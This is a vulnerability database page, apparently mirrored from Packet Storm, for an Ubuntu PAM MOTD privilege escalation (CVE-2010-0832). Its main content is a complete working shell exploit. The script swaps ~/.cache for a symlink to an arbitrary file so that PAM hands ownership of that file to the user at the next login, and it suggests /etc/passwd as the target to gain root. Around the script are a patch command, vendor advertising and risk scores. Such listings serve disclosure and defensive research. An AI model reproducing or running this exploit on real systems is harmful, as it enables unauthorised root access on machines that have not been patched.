Lucene search
K

Ubuntu PAM MOTD File Tampering Privilege Escalation

🗓️ 08 Jul 2010 00:00:00Reported by Kristian HermansenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

Ubuntu PAM MOTD File Tampering Privilege Escalation - Exploi

Related
Code
`#!/bin/sh  
#  
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)  
# Date: July 7, 2010  
# Author: Kristian Erik Hermansen <[email protected]>  
# Software Link: http://packages.ubuntu.com/  
# Version: pam-1.1.0  
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)  
# CVE : CVE-2010-0832  
#  
# Notes: Affects Ubuntu 9.10 and 10.04 LTS  
# [Patch Instructions]  
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i  
#  
  
if [ $# -eq 0 ]; then  
echo "Usage: $0 /path/to/file"  
exit 1  
fi  
  
mkdir $HOME/backup 2> /dev/null  
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)  
mv $HOME/.cache/ $tmpdir 2> /dev/null  
echo "\n@@@ File before tampering ...\n"  
ls -l $1  
ln -sf $1 $HOME/.cache  
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2010 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.00135
53